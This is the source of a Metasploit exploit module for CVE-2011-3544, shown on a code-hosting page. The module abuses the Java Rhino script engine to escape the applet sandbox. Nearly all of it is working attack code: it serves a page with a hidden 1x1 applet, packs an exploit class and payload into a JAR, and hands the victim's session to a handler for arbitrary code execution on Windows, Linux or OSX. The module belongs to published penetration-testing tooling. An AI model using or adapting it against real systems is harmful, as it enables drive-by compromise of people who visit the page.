Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_rhino.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910include Msf::Exploit::Remote::BrowserAutopwn11autopwn_info({ :javascript => false })1213def initialize( info = {} )14super( update_info( info,15'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',16'Description' => %q{17This module exploits a vulnerability in the Rhino Script Engine that18can be used by a Java Applet to run arbitrary Java code outside of19the sandbox. The vulnerability affects version 7 and version 6 update2027 and earlier, and should work on any browser that supports Java21(for example: IE, Firefox, Google Chrome, etc)22},23'License' => MSF_LICENSE,24'Author' =>25[26'Michael Schierl', # Discovery27'juan vazquez', # metasploit module28'Edward D. Teach <teach[at]consortium-of-pwners.net>',29'sinn3r'30],31'References' =>32[33[ 'CVE', '2011-3544' ],34[ 'OSVDB', '76500' ],35[ 'ZDI', '11-305' ],36[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],37],38'Platform' => %w{ java linux win },39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' =>41[42[ 'Generic (Java Payload)',43{44'Arch' => ARCH_JAVA,45}46],47[ 'Windows Universal',48{49'Arch' => ARCH_X86,50'Platform' => 'win'51}52],53[ 'Apple OSX',54{55'ARCH' => ARCH_X86,56'Platform' => 'osx'57}58],59[ 'Linux x86',60{61'Arch' => ARCH_X86,62'Platform' => 'linux'63}64]65],66'DefaultTarget' => 0,67'DisclosureDate' => '2011-10-18'68))69end707172def on_request_uri( cli, request )73if not request.uri.match(/\.jar$/i)74if not request.uri.match(/\/$/)75send_redirect(cli, get_resource() + '/', '')76return77end7879print_status("#{self.name} handling request")8081send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )82return83end8485paths = [86[ "Exploit.class" ]87]8889p = regenerate_payload(cli)9091jar = p.encoded_jar92paths.each do |path|931.upto(path.length - 1) do |idx|94full = path[0,idx].join("/") + "/"95if !(jar.entries.map{|e|e.name}.include?(full))96jar.add_file(full, '')97end98end99fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2011-3544", path ), "rb")100data = fd.read(fd.stat.size)101jar.add_file(path.join("/"), data)102fd.close103end104105print_status("Sending Applet.jar")106send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )107108handler( cli )109end110111def generate_html112html = "<html><head></head>"113html += "<body>"114html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"115html += "</applet></body></html>"116return html117end118end119120121